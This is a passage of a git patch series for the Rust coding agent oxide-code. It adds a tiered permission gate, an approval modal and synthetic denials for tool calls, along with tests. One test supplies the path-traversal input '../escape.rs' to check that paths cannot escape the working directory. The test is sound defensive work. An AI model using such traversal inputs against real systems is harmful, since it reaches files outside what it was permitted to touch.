assert!(!target.as_target().is_inside_cwd()); + } + + #[test] + fn for_path_escaping_parent_traversal_is_not_inside_cwd() { + // `..` must resolve before the inside-cwd test so a traversal can't smuggle an outside + // path past the step-3 allow. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + let target = GateTarget::for_path("../escape.rs", &cwd); + assert!(!target.as_target().is_inside_cwd()); + } + // ── Policy::decide (precedence) ── #[test] diff --git a/crates/oxide-code/src/tool.rs b/crates/oxide-code/src/tool.rs index db90fd84..77a491f2 100644 --- a/crates/oxide-code/src/tool.rs +++ b/crates/oxide-code/src/tool.rs @@ -186,6 +186,14 @@ pub(crate) trait Tool: Send + Sync { /// new tool cannot silently inherit a permissive class. fn risk_class(&self) -> RiskClass; + /// Extracts what the permission gate matches rules against from this call's `input`, resolving + /// any path against `cwd`. Defaults to [`GateTarget::None`] (only a tool-wide rule matches); + /// `bash` returns its command and the path tools their canonicalized target. + fn gate_target(&self, input: &serde_json::Value, cwd: &Path) -> crate::permission::GateTarget { + _ = (input, cwd); + crate::permission::GateTarget::None + } + fn icon(&self) -> &'static str { "⟡" } diff --git a/crates/oxide-code/src/tool/bash.rs b/crates/oxide-code/src/tool/bash.rs index 1cb661ca..82a38ed2 100644 --- a/crates/oxide-code/src/tool/bash.rs +++ b/crates/oxide-code/src/tool/bash.rs @@ -34,6 +34,16 @@ impl Tool for BashTool { super::RiskClass::Execute } + fn gate_target( + &self, + input: &serde_json::Value, + _cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + extract_input_field(input, "command") + .map(|c| crate::permission::GateTarget::Command(c.to_owned())) + .unwrap_or_default() + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/edit.rs b/crates/oxide-code/src/tool/edit.rs index e0bd4829..ea6d153e 100644 --- a/crates/oxide-code/src/tool/edit.rs +++ b/crates/oxide-code/src/tool/edit.rs @@ -41,6 +41,16 @@ impl Tool for EditTool { super::RiskClass::Edit } + fn gate_target( + &self, + input: &serde_json::Value, + cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + extract_input_field(input, "file_path") + .map(|p| crate::permission::GateTarget::for_path(p, cwd)) + .unwrap_or_default() + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/write.rs b/crates/oxide-code/src/tool/write.rs index bd9e1121..530bb152 100644 --- a/crates/oxide-code/src/tool/write.rs +++ b/crates/oxide-code/src/tool/write.rs @@ -37,6 +37,16 @@ impl Tool for WriteTool { super::RiskClass::Edit } + fn gate_target( + &self, + input: &serde_json::Value, + cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + extract_input_field(input, "file_path") + .map(|p| crate::permission::GateTarget::for_path(p, cwd)) + .unwrap_or_default() + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", From c695c74309fb4438fe0a1ec28e297bc0de499f09 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Thu, 25 Jun 2026 14:01:24 +0800 Subject: [PATCH 05/16] feat(permission): gate tool calls with an approval round-trip Wire the resolved policy into the agent loop so every tool call passes through the tiered gate before running. An `ask` verdict emits `ApprovalRequested` and blocks on the matching `ApprovalDecision`, riding the existing `user_rx` channel so cancel / quit / queue semantics are reused without a second channel. Deny and non-interactive `ask` short-circuit to a synthetic error tool result the model can react to. On the TUI side an `ApprovalModal` joins the `ModalStack`. The stack gains a `Modal::on_cancel` hook so universal-cancel, N, and session-swap `clear` resolve a pending approval to `Deny` rather than stranding the blocked agent. Tools expose `approval_preview` so bash shows its command and edit / write show a diff. --- CLAUDE.md | 4 + crates/oxide-code/src/agent.rs | 454 +++++++++++++++++++- crates/oxide-code/src/agent/event.rs | 44 +- crates/oxide-code/src/client/anthropic.rs | 5 + crates/oxide-code/src/config/file.rs | 4 +- crates/oxide-code/src/main.rs | 32 +- crates/oxide-code/src/permission.rs | 30 +- crates/oxide-code/src/permission/rule.rs | 22 +- crates/oxide-code/src/tool.rs | 10 + crates/oxide-code/src/tool/edit.rs | 9 + crates/oxide-code/src/tool/write.rs | 10 + crates/oxide-code/src/tui/app.rs | 19 +- crates/oxide-code/src/tui/modal.rs | 118 ++++- crates/oxide-code/src/tui/modal/approval.rs | 380 ++++++++++++++++ 14 files changed, 1095 insertions(+), 46 deletions(-) create mode 100644 crates/oxide-code/src/tui/modal/approval.rs diff --git a/CLAUDE.md b/CLAUDE.md index c8be53fc..1ac1dc00 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -49,6 +49,9 @@ ox # Start an interactive session ├── model.rs # Ground-truth table: display name, cutoff, capabilities, and unknown raw-id fallback ├── model/ │ └── pricing.rs # Per-million-token cost rates + USD estimator (excludes account / marketplace adjustments) +├── permission.rs # Permission module root: Mode, Policy::decide tiered gate, Target / GateTarget, dangerous-pattern deny defaults +├── permission/ +│ └── rule.rs # Rule grammar: `tool(specifier)` parse + match (bash exact / prefix / wildcard, gitignore-style path globs) ├── prompt.rs # System prompt builder (section assembly) ├── prompt/ │ ├── environment.rs # Runtime environment detection (platform, git, date, knowledge cutoff) @@ -146,6 +149,7 @@ ox # Start an interactive session │ │ └── render.rs # pulldown-cmark event walker, inline / block / list / table rendering │ ├── modal.rs # Modal trait, ModalKey, ModalAction, ModalStack: focus-grabbing UI overlays │ ├── modal/ +│ │ ├── approval.rs # ApprovalModal: approve-or-deny overlay for a gated tool call, on_cancel resolves dismissals to Deny │ │ ├── kv_overview.rs # Generic KvOverview / KvSection: read-only sectioned kv-table modal used by /status, /config, /help │ │ ├── list_picker.rs # Generic ListPicker: cursor + render primitive used by concrete pickers │ │ └── searchable_list.rs # Generic SearchableList: substring filter + scrollable viewport for searchable pickers diff --git a/crates/oxide-code/src/agent.rs b/crates/oxide-code/src/agent.rs index a0cd8a06..b4d61006 100644 --- a/crates/oxide-code/src/agent.rs +++ b/crates/oxide-code/src/agent.rs @@ -12,7 +12,7 @@ use anyhow::{Context, Result, anyhow, bail}; use tokio::sync::mpsc; use tracing::{debug, warn}; -use crate::agent::event::{AgentEvent, AgentSink, UserAction}; +use crate::agent::event::{AgentEvent, AgentSink, ApprovalDecision, UserAction}; use crate::client::anthropic::Client; use crate::client::anthropic::wire::{ContentBlockInfo, Delta, StreamEvent, Usage}; use crate::config::AutoCompactionConfig; @@ -213,6 +213,15 @@ pub(crate) struct AutoCompact<'a> { pub(crate) file_tracker: &'a FileTracker, } +/// Inputs the permission gate needs at each tool call: the resolved policy, the working directory +/// to resolve path targets against, and whether the session can prompt a human. In a non-interactive +/// session an `ask` resolves to deny, since no modal can surface. +pub(crate) struct GateContext<'a> { + pub(crate) policy: &'a crate::permission::Policy, + pub(crate) cwd: &'a std::path::Path, + pub(crate) interactive: bool, +} + /// Drives one user prompt to a final assistant text reply. The loop returns as soon as a round /// produces no tool calls. Mid-turn `SubmitPrompt` actions queue and splice in as user messages /// at round boundaries. Long-running awaits race `user_rx` so `Cancel` / `Quit` abort promptly @@ -231,6 +240,7 @@ pub(crate) async fn agent_turn( session: &SessionHandle, user_rx: &mut mpsc::Receiver, max_tool_rounds: Option, + gate: &GateContext<'_>, ) -> TurnOutcome { let tool_defs = tools.definitions(); let mut pending_prompts: Vec = Vec::new(); @@ -289,6 +299,7 @@ pub(crate) async fn agent_turn( sink, user_rx, &mut pending_prompts, + gate, ) .await; let (results, sidecars) = match round { @@ -421,6 +432,7 @@ async fn run_tool_round( sink: &dyn AgentSink, user_rx: &mut mpsc::Receiver, pending: &mut Vec, + gate: &GateContext<'_>, ) -> AbortResult<(Vec, Vec<(String, ToolMetadata)>)> { let mut results = Vec::with_capacity(tool_uses.len()); let mut sidecars: Vec<(String, ToolMetadata)> = Vec::with_capacity(tool_uses.len()); @@ -434,9 +446,18 @@ async fn run_tool_round( "tool-call-start", ); - let output = - dispatch_tool_call(tools, &name, input, parse_errors.get(&id), user_rx, pending) - .await?; + let output = dispatch_tool_call( + tools, + &id, + &name, + input, + parse_errors.get(&id), + sink, + user_rx, + pending, + gate, + ) + .await?; sink.emit( AgentEvent::ToolCallEnd { @@ -475,13 +496,20 @@ async fn commit_round_writes( sink.session_write_error(metadata_outcome.failure.as_deref()); } +#[expect( + clippy::too_many_arguments, + reason = "dispatch threads the per-call gate inputs (id, sink, gate) alongside the run state" +)] async fn dispatch_tool_call( tools: &ToolRegistry, + id: &str, name: &str, input: serde_json::Value, parse_error: Option<&String>, + sink: &dyn AgentSink, user_rx: &mut mpsc::Receiver, pending: &mut Vec, + gate: &GateContext<'_>, ) -> AbortResult { if let Some(err) = parse_error { return Ok(ToolOutput { @@ -490,9 +518,104 @@ async fn dispatch_tool_call( metadata: ToolMetadata::default(), }); } + + if let Some(denial) = + check_permission(tools, id, name, &input, sink, user_rx, pending, gate).await? + { + return Ok(denial); + } + await_unless_aborted(tools.run(name, input), user_rx, pending).await } +/// Runs the permission gate for one call. Returns `Ok(None)` to proceed, `Ok(Some(output))` with a +/// synthetic denial the model sees as a tool result, or an abort if the user cancelled / quit while +/// the approval was outstanding. An `ask` verdict emits [`AgentEvent::ApprovalRequested`] and blocks +/// on the matching [`UserAction::ApprovalDecision`]. In a non-interactive session it denies instead. +#[expect( + clippy::too_many_arguments, + reason = "the gate threads the same per-call inputs dispatch already carries" +)] +async fn check_permission( + tools: &ToolRegistry, + id: &str, + name: &str, + input: &serde_json::Value, + sink: &dyn AgentSink, + user_rx: &mut mpsc::Receiver, + pending: &mut Vec, + gate: &GateContext<'_>, +) -> AbortResult> { + let Some(tool) = tools.get(name) else { + // Unknown tool: let `tools.run` produce its own "unknown tool" error rather than denying. + return Ok(None); + }; + + let gate_target = tool.gate_target(input, gate.cwd); + let decision = gate + .policy + .decide(name, tool.risk_class(), &gate_target.as_target()); + + match decision { + crate::permission::Decision::Allow => Ok(None), + crate::permission::Decision::Deny => Ok(Some(denied_output(name))), + crate::permission::Decision::Ask if !gate.interactive => Ok(Some(denied_output(name))), + crate::permission::Decision::Ask => { + sink.emit( + AgentEvent::ApprovalRequested { + id: id.to_owned(), + preview: tool.approval_preview(input), + }, + "approval-requested", + ); + match await_approval(id, user_rx, pending).await? { + ApprovalDecision::Approve => Ok(None), + ApprovalDecision::Deny => Ok(Some(denied_output(name))), + } + } + } +} + +/// The synthetic tool result returned for a denied call. Marked `is_error` so the model treats it +/// as a failed call and can try another approach. +fn denied_output(name: &str) -> ToolOutput { + ToolOutput { + content: format!( + "The {name} call was denied by the permission policy. Do not retry it; \ + choose a different approach or ask the user to adjust permissions." + ), + is_error: true, + metadata: ToolMetadata::default(), + } +} + +/// Blocks on the `user_rx` channel for the [`UserAction::ApprovalDecision`] matching `id`, the same +/// channel the turn loop races elsewhere so no second channel is introduced. Cancel / quit abort +/// the turn, a queued `SubmitPrompt` buffers into `pending`, and a decision for a different id is +/// ignored (a stale reply for an already-resolved call). Cancel-safe by drop: it holds no state. +async fn await_approval( + id: &str, + user_rx: &mut mpsc::Receiver, + pending: &mut Vec, +) -> AbortResult { + loop { + match user_rx.recv().await { + Some(UserAction::Cancel) => return Err(TurnAbort::Cancelled), + Some(UserAction::Quit) | None => return Err(TurnAbort::Quit), + Some(UserAction::SubmitPrompt(text)) => pending.push(text), + Some(UserAction::ApprovalDecision { + id: target, + decision, + }) if target == id => { + return Ok(decision); + } + // A decision for a different id is a stale reply, and any other action is unreachable + // while an approval is outstanding. Log and keep waiting so the gate can't be skipped. + Some(other) => warn!("ignored action while awaiting approval {id}: {other:?}"), + } + } +} + pub(crate) async fn record_drained_prompts( texts: impl IntoIterator, messages: &mut Vec, @@ -527,7 +650,8 @@ where Some(UserAction::Cancel) => return Err(TurnAbort::Cancelled), Some(UserAction::Quit) | None => return Err(TurnAbort::Quit), Some(UserAction::SubmitPrompt(text)) => pending.push(text), - // Unreachable under current wiring. Log so regressions surface. + // Unreachable under current wiring. Log so regressions surface. An + // `ApprovalDecision` here is a stale reply for an already-resolved call. Some( action @ (UserAction::ConfirmExit | UserAction::Clear @@ -536,7 +660,8 @@ where | UserAction::Rename { .. } | UserAction::SwapConfig { .. } | UserAction::PreviewTheme { .. } - | UserAction::SwapTheme { .. }), + | UserAction::SwapTheme { .. } + | UserAction::ApprovalDecision { .. }), ) => warn!("dropped mid-turn action: {action:?}"), }, output = &mut fut => return Ok(output), @@ -1196,6 +1321,20 @@ mod tests { } } + /// Gate that bypasses every rule (`yolo`), so the dispatch tests exercise the turn loop without + /// the permission layer interceding. Permission-specific behavior is covered in `permission`. + fn yolo_gate() -> GateContext<'static> { + static POLICY: std::sync::LazyLock = + std::sync::LazyLock::new(|| { + crate::permission::Policy::new(crate::permission::Mode::Yolo, vec![], vec![]) + }); + GateContext { + policy: &POLICY, + cwd: std::path::Path::new("."), + interactive: false, + } + } + fn test_session(dir: &std::path::Path) -> SessionHandle { let store = test_store(dir); handle::start(&store, "claude-sonnet-4-6") @@ -1625,6 +1764,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1663,6 +1803,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1697,6 +1838,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1736,6 +1878,7 @@ mod tests { &session, &mut user_rx, None, + &yolo_gate(), ) .await .unwrap(); @@ -1773,6 +1916,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1802,6 +1946,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1837,6 +1982,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1900,6 +2046,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -1947,6 +2094,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await .expect("turn must complete"); @@ -2009,6 +2157,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await .expect("turn must complete"); @@ -2059,6 +2208,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await .expect_err("cancel must surface as Err(Cancelled)"); @@ -2089,6 +2239,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await .expect_err("quit must surface as Err(Quit)"); @@ -2118,6 +2269,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await .expect_err("dead channel must surface as Err(Quit)"); @@ -2159,6 +2311,7 @@ mod tests { &session, &mut rx, None, + &yolo_gate(), ) .await; assert!( @@ -2190,6 +2343,7 @@ mod tests { let mut messages = vec![Message::user("kick off")]; let (tx, mut rx) = mpsc::channel::(1); let prompt = empty_prompt(); + let gate = yolo_gate(); let (turn_result, ()) = tokio::join!( agent_turn( @@ -2201,6 +2355,7 @@ mod tests { &session, &mut rx, None, + &gate, ), async { started.notified().await; @@ -2248,6 +2403,7 @@ mod tests { let mut messages = vec![Message::user("kick off")]; let (tx, mut rx) = mpsc::channel::(1); let prompt = empty_prompt(); + let gate = yolo_gate(); let (outcome, ()) = tokio::join!( agent_turn( @@ -2259,6 +2415,7 @@ mod tests { &session, &mut rx, None, + &gate, ), async { started.notified().await; @@ -2301,6 +2458,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -2341,6 +2499,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -2396,6 +2555,7 @@ mod tests { &session, &mut inert_user_rx(), Some(CAP), + &yolo_gate(), ) .await .expect_err("cap must trip"); @@ -2428,6 +2588,7 @@ mod tests { &session, &mut inert_user_rx(), Some(CAP), + &yolo_gate(), ) .await; @@ -2466,6 +2627,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .expect("unbounded loop must reach the text-only round"); @@ -2496,6 +2658,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .expect_err("api error must propagate"); @@ -2536,6 +2699,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await; @@ -2585,6 +2749,7 @@ mod tests { &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -2645,6 +2810,7 @@ data: {"type":"message_stop"} &session, &mut inert_user_rx(), None, + &yolo_gate(), ) .await .unwrap(); @@ -2653,6 +2819,282 @@ data: {"type":"message_stop"} assert!(matches!(&messages[1].content[0], ContentBlock::Text { text } if text == "hello"),); } + // ── check_permission ── + + /// Interactive gate over allow / deny rule sets. `echo` (execute) has no gate target, so only a + /// tool-wide rule matches. The policy is leaked to keep the returned context `'static`, matching + /// [`yolo_gate`], which is acceptable in a short-lived test process. + fn gate_with( + mode: crate::permission::Mode, + allow: &[&str], + deny: &[&str], + interactive: bool, + ) -> GateContext<'static> { + let owned = |rules: &[&str]| rules.iter().map(|s| (*s).to_owned()).collect::>(); + let policy = Box::leak(Box::new( + crate::permission::Policy::resolve(mode, &owned(allow), &owned(deny)) + .expect("rules parse"), + )); + GateContext { + policy, + cwd: std::path::Path::new("."), + interactive, + } + } + + #[tokio::test] + async fn check_permission_allow_proceeds_without_an_approval_event() { + // `echo` is an execute tool, so `auto` asks by default, and an explicit allow rule clears it. + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &["echo"], &[], true); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut inert_user_rx(), + &mut Vec::new(), + &gate, + ) + .await + .expect("allow must not abort"); + + assert!(denial.is_none(), "an allowed call proceeds"); + assert!( + !sink + .events() + .iter() + .any(|e| matches!(e, AgentEvent::ApprovalRequested { .. })), + "allow must not surface an approval prompt", + ); + } + + #[tokio::test] + async fn check_permission_deny_rule_short_circuits_to_a_synthetic_denial() { + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &[], &["echo"], true); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut inert_user_rx(), + &mut Vec::new(), + &gate, + ) + .await + .expect("deny resolves without abort") + .expect("a deny rule must yield a synthetic denial"); + + assert!( + denial.is_error, + "denial is surfaced as a failed tool result" + ); + assert!(denial.content.contains("denied by the permission policy")); + assert!( + !sink + .events() + .iter() + .any(|e| matches!(e, AgentEvent::ApprovalRequested { .. })), + "a deny rule never prompts", + ); + } + + #[tokio::test] + async fn check_permission_ask_in_non_interactive_session_denies_without_prompting() { + // The bare REPL and headless modes have no modal surface, so an `ask` resolves to deny. + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &[], &[], false); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut inert_user_rx(), + &mut Vec::new(), + &gate, + ) + .await + .expect("non-interactive ask resolves without abort") + .expect("non-interactive ask denies"); + + assert!(denial.is_error); + assert!( + !sink + .events() + .iter() + .any(|e| matches!(e, AgentEvent::ApprovalRequested { .. })), + "non-interactive ask must not emit an approval event no UI can answer", + ); + } + + #[tokio::test] + async fn check_permission_ask_emits_event_and_approve_proceeds() { + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &[], &[], true); + let (tx, mut rx) = mpsc::channel::(1); + tx.try_send(UserAction::ApprovalDecision { + id: "tool_1".to_owned(), + decision: ApprovalDecision::Approve, + }) + .unwrap(); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut rx, + &mut Vec::new(), + &gate, + ) + .await + .expect("approve resolves without abort"); + + assert!(denial.is_none(), "an approved call proceeds"); + let prompted = sink.events().into_iter().find_map(|e| match e { + AgentEvent::ApprovalRequested { id, .. } => Some(id), + _ => None, + }); + assert_eq!( + prompted.as_deref(), + Some("tool_1"), + "ask must surface an approval event carrying the call id", + ); + } + + #[tokio::test] + async fn check_permission_ask_deny_decision_yields_a_synthetic_denial() { + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &[], &[], true); + let (tx, mut rx) = mpsc::channel::(1); + tx.try_send(UserAction::ApprovalDecision { + id: "tool_1".to_owned(), + decision: ApprovalDecision::Deny, + }) + .unwrap(); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut rx, + &mut Vec::new(), + &gate, + ) + .await + .expect("deny decision resolves without abort") + .expect("a deny decision yields a synthetic denial"); + + assert!(denial.is_error); + assert!(denial.content.contains("denied by the permission policy")); + } + + #[tokio::test] + async fn check_permission_unknown_tool_proceeds_so_run_can_report_it() { + // An unknown tool can't have a risk class, so the gate steps aside and lets `tools.run` + // emit its own "unknown tool" error rather than a permission denial. + let tools = ToolRegistry::new(vec![]); + let sink = CapturingSink::new(); + let gate = gate_with(crate::permission::Mode::Auto, &[], &["mystery"], true); + let denial = check_permission( + &tools, + "tool_1", + "mystery", + &json!({}), + &sink, + &mut inert_user_rx(), + &mut Vec::new(), + &gate, + ) + .await + .expect("unknown tool resolves without abort"); + + assert!(denial.is_none(), "unknown tool bypasses the gate"); + } + + // ── await_approval ── + + #[tokio::test] + async fn await_approval_ignores_a_stale_decision_for_another_call() { + // A decision for an already-resolved call must not satisfy the wait, but the matching id does. + let (tx, mut rx) = mpsc::channel::(2); + tx.try_send(UserAction::ApprovalDecision { + id: "other".to_owned(), + decision: ApprovalDecision::Approve, + }) + .unwrap(); + tx.try_send(UserAction::ApprovalDecision { + id: "tool_1".to_owned(), + decision: ApprovalDecision::Deny, + }) + .unwrap(); + + let decision = await_approval("tool_1", &mut rx, &mut Vec::new()) + .await + .expect("matching decision resolves"); + assert_eq!(decision, ApprovalDecision::Deny); + } + + #[tokio::test] + async fn await_approval_buffers_a_mid_approval_submit_into_pending() { + let (tx, mut rx) = mpsc::channel::(2); + tx.try_send(UserAction::SubmitPrompt("queued".to_owned())) + .unwrap(); + tx.try_send(UserAction::ApprovalDecision { + id: "tool_1".to_owned(), + decision: ApprovalDecision::Approve, + }) + .unwrap(); + let mut pending = Vec::new(); + + let decision = await_approval("tool_1", &mut rx, &mut pending) + .await + .expect("approval resolves"); + assert_eq!(decision, ApprovalDecision::Approve); + assert_eq!(pending, vec!["queued".to_owned()], "the submit buffers"); + } + + #[tokio::test] + async fn await_approval_cancel_and_quit_abort_the_turn() { + for (action, want_quit) in [(UserAction::Cancel, false), (UserAction::Quit, true)] { + let (tx, mut rx) = mpsc::channel::(1); + tx.try_send(action.clone()).unwrap(); + let abort = await_approval("tool_1", &mut rx, &mut Vec::new()) + .await + .expect_err("cancel / quit abort the wait"); + if want_quit { + assert!(matches!(abort, TurnAbort::Quit), "{action:?}"); + } else { + assert!(matches!(abort, TurnAbort::Cancelled), "{action:?}"); + } + } + } + + #[tokio::test] + async fn await_approval_dropped_channel_collapses_to_quit() { + let (tx, mut rx) = mpsc::channel::(1); + drop(tx); + let abort = await_approval("tool_1", &mut rx, &mut Vec::new()) + .await + .expect_err("a closed channel aborts"); + assert!(matches!(abort, TurnAbort::Quit)); + } + // ── BlockAccumulator::into_content_block ── #[test] diff --git a/crates/oxide-code/src/agent/event.rs b/crates/oxide-code/src/agent/event.rs index c701b390..c083eec8 100644 --- a/crates/oxide-code/src/agent/event.rs +++ b/crates/oxide-code/src/agent/event.rs @@ -101,6 +101,41 @@ pub(crate) enum AgentEvent { /// User-visible error from the agent loop, session writer, or tool dispatch. Renders as a /// dedicated chat block. Error(String), + /// A gated tool call needs the user's approval before it runs. Carries the tool-use id so a + /// stale decision for a dropped call is ignored, plus a small preview for the modal to render. + /// The agent loop blocks on the matching [`UserAction::ApprovalDecision`]. + ApprovalRequested { + id: String, + preview: ApprovalPreview, + }, +} + +// ── Approval ── + +/// What a pending approval shows the user. `Clone` and small, since it rides the bounded event +/// channel. The body is pre-rendered by the tool's gate seam so the modal stays display-only. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct ApprovalPreview { + /// Tool display label, e.g. `Bash(cargo test)` or `Write(src/main.rs)`. + pub(crate) title: String, + /// Body lines: an edit / write diff or the command string, already truncated for display. + pub(crate) body: ApprovalBody, +} + +/// The renderable body of an [`ApprovalPreview`]. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum ApprovalBody { + /// A shell command string (`bash`). + Command(String), + /// A unified diff (`edit` / `write`), reusing the chat's `+` / `-` chunk shape. + Diff(Vec), +} + +/// The user's verdict on a pending approval, carried back on [`UserAction::ApprovalDecision`]. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum ApprovalDecision { + Approve, + Deny, } // ── User Actions ── @@ -139,6 +174,12 @@ pub(crate) enum UserAction { SwapTheme { name: String, }, + /// The user's verdict on the outstanding [`AgentEvent::ApprovalRequested`]. The `id` is matched + /// against the blocked call so a decision for an already-dropped call is ignored. + ApprovalDecision { + id: String, + decision: ApprovalDecision, + }, Cancel, /// TUI-only. Agent loop ignores this. ConfirmExit, @@ -255,7 +296,8 @@ impl StdioSink { | AgentEvent::SessionTitleUpdated { .. } | AgentEvent::SessionRolled { .. } | AgentEvent::SessionResumed { .. } - | AgentEvent::ConfigChanged { .. } => {} + | AgentEvent::ConfigChanged { .. } + | AgentEvent::ApprovalRequested { .. } => {} AgentEvent::TurnComplete => { writeln!(stdout)?; } diff --git a/crates/oxide-code/src/client/anthropic.rs b/crates/oxide-code/src/client/anthropic.rs index 9c040460..5df55bec 100644 --- a/crates/oxide-code/src/client/anthropic.rs +++ b/crates/oxide-code/src/client/anthropic.rs @@ -161,6 +161,11 @@ impl Client { self.config.max_tool_rounds } + /// The resolved permission policy the agent loop's gate consults on each tool call. + pub(crate) fn permission(&self) -> &crate::permission::Policy { + &self.config.permission + } + #[cfg(test)] pub(crate) fn session_id(&self) -> &str { &self.session_id diff --git a/crates/oxide-code/src/config/file.rs b/crates/oxide-code/src/config/file.rs index 8d120c4c..f4140509 100644 --- a/crates/oxide-code/src/config/file.rs +++ b/crates/oxide-code/src/config/file.rs @@ -53,7 +53,7 @@ pub(super) struct CompactionConfig { } /// `[permission]` block. `mode` and `allow` are user / env-only, so a checked-in project `ox.toml` -/// setting either is rejected by [`reject_project_permissions`]; `deny` append-merges across layers +/// setting either is rejected by [`reject_project_permissions`]. `deny` append-merges across layers /// so a project can only tighten. `allow` and `deny` are raw rule strings, parsed in `Config::load`. #[derive(Debug, Default, Deserialize)] #[serde(deny_unknown_fields)] @@ -248,7 +248,7 @@ fn reject_project_secrets(config: &FileConfig, path: &Path) -> Result<()> { } /// A project `ox.toml` is untrusted, so it may tighten permissions but never widen them. `mode` and -/// `allow` are user / env-only; only `deny` (which can only restrict) is honored from a project +/// `allow` are user / env-only, and only `deny` (which can only restrict) is honored from a project /// file. Setting either blocked field is a hard error rather than a silent drop so the user learns /// the rule did not take effect. fn reject_project_permissions(config: &FileConfig, path: &Path) -> Result<()> { diff --git a/crates/oxide-code/src/main.rs b/crates/oxide-code/src/main.rs index a9142287..23ba8da7 100644 --- a/crates/oxide-code/src/main.rs +++ b/crates/oxide-code/src/main.rs @@ -398,11 +398,13 @@ impl AgentLoopTask { match action { UserAction::SubmitPrompt(text) => self.handle_submit_prompt(text).await, // Cancel / ConfirmExit are no-ops here; PreviewTheme / SwapTheme are TUI-only and - // applied client-side in `App::apply_action_locally`. + // applied client-side in `App::apply_action_locally`. ApprovalDecision is unreachable + // in the REPL driver, which never asks (no modal surface, gate denies instead). UserAction::Cancel | UserAction::ConfirmExit | UserAction::PreviewTheme { .. } - | UserAction::SwapTheme { .. } => LoopControl::Continue, + | UserAction::SwapTheme { .. } + | UserAction::ApprovalDecision { .. } => LoopControl::Continue, UserAction::Clear => { let outcome = roll_session( &mut self.session, @@ -541,6 +543,12 @@ impl AgentLoopTask { } let prompt = prompt::build_prompt(self.client.model()).await; + let cwd = std::env::current_dir().unwrap_or_default(); + let gate = agent::GateContext { + policy: self.client.permission(), + cwd: &cwd, + interactive: true, + }; let outcome = agent_turn( &self.client, &self.tools, @@ -550,6 +558,7 @@ impl AgentLoopTask { &self.session, &mut self.user_rx, self.client.max_tool_rounds(), + &gate, ) .await; let TurnOutcome { report, result } = outcome; @@ -813,6 +822,19 @@ fn apply_swap_config( // ── Bare REPL Mode ── +/// Gate for the modal-less surfaces (`--no-tui` REPL and headless `-p`). Both lack an approval UI, +/// so an `ask` verdict resolves to deny rather than emitting a prompt no one can answer. +fn non_interactive_gate<'a>( + client: &'a Client, + cwd: &'a std::path::Path, +) -> agent::GateContext<'a> { + agent::GateContext { + policy: client.permission(), + cwd, + interactive: false, + } +} + async fn bare_repl( client: &Client, tools: Arc, @@ -885,6 +907,8 @@ async fn bare_repl( ) .await; let prompt = prompt::build_prompt(model).await; + let cwd = std::env::current_dir().unwrap_or_default(); + let gate = non_interactive_gate(client, &cwd); let turn = agent_turn( client, &tools, @@ -894,6 +918,7 @@ async fn bare_repl( &session, &mut user_rx, client.max_tool_rounds(), + &gate, ); let TurnOutcome { report, result } = tokio::select! { outcome = turn => outcome, @@ -943,6 +968,8 @@ async fn headless( let prompt = prompt::build_prompt(model).await; let mut shutdown_fired = false; let (_user_tx, mut user_rx) = inert_user_action_channel(); + let cwd = std::env::current_dir().unwrap_or_default(); + let gate = non_interactive_gate(client, &cwd); let turn = agent_turn( client, &tools, @@ -952,6 +979,7 @@ async fn headless( &session, &mut user_rx, client.max_tool_rounds(), + 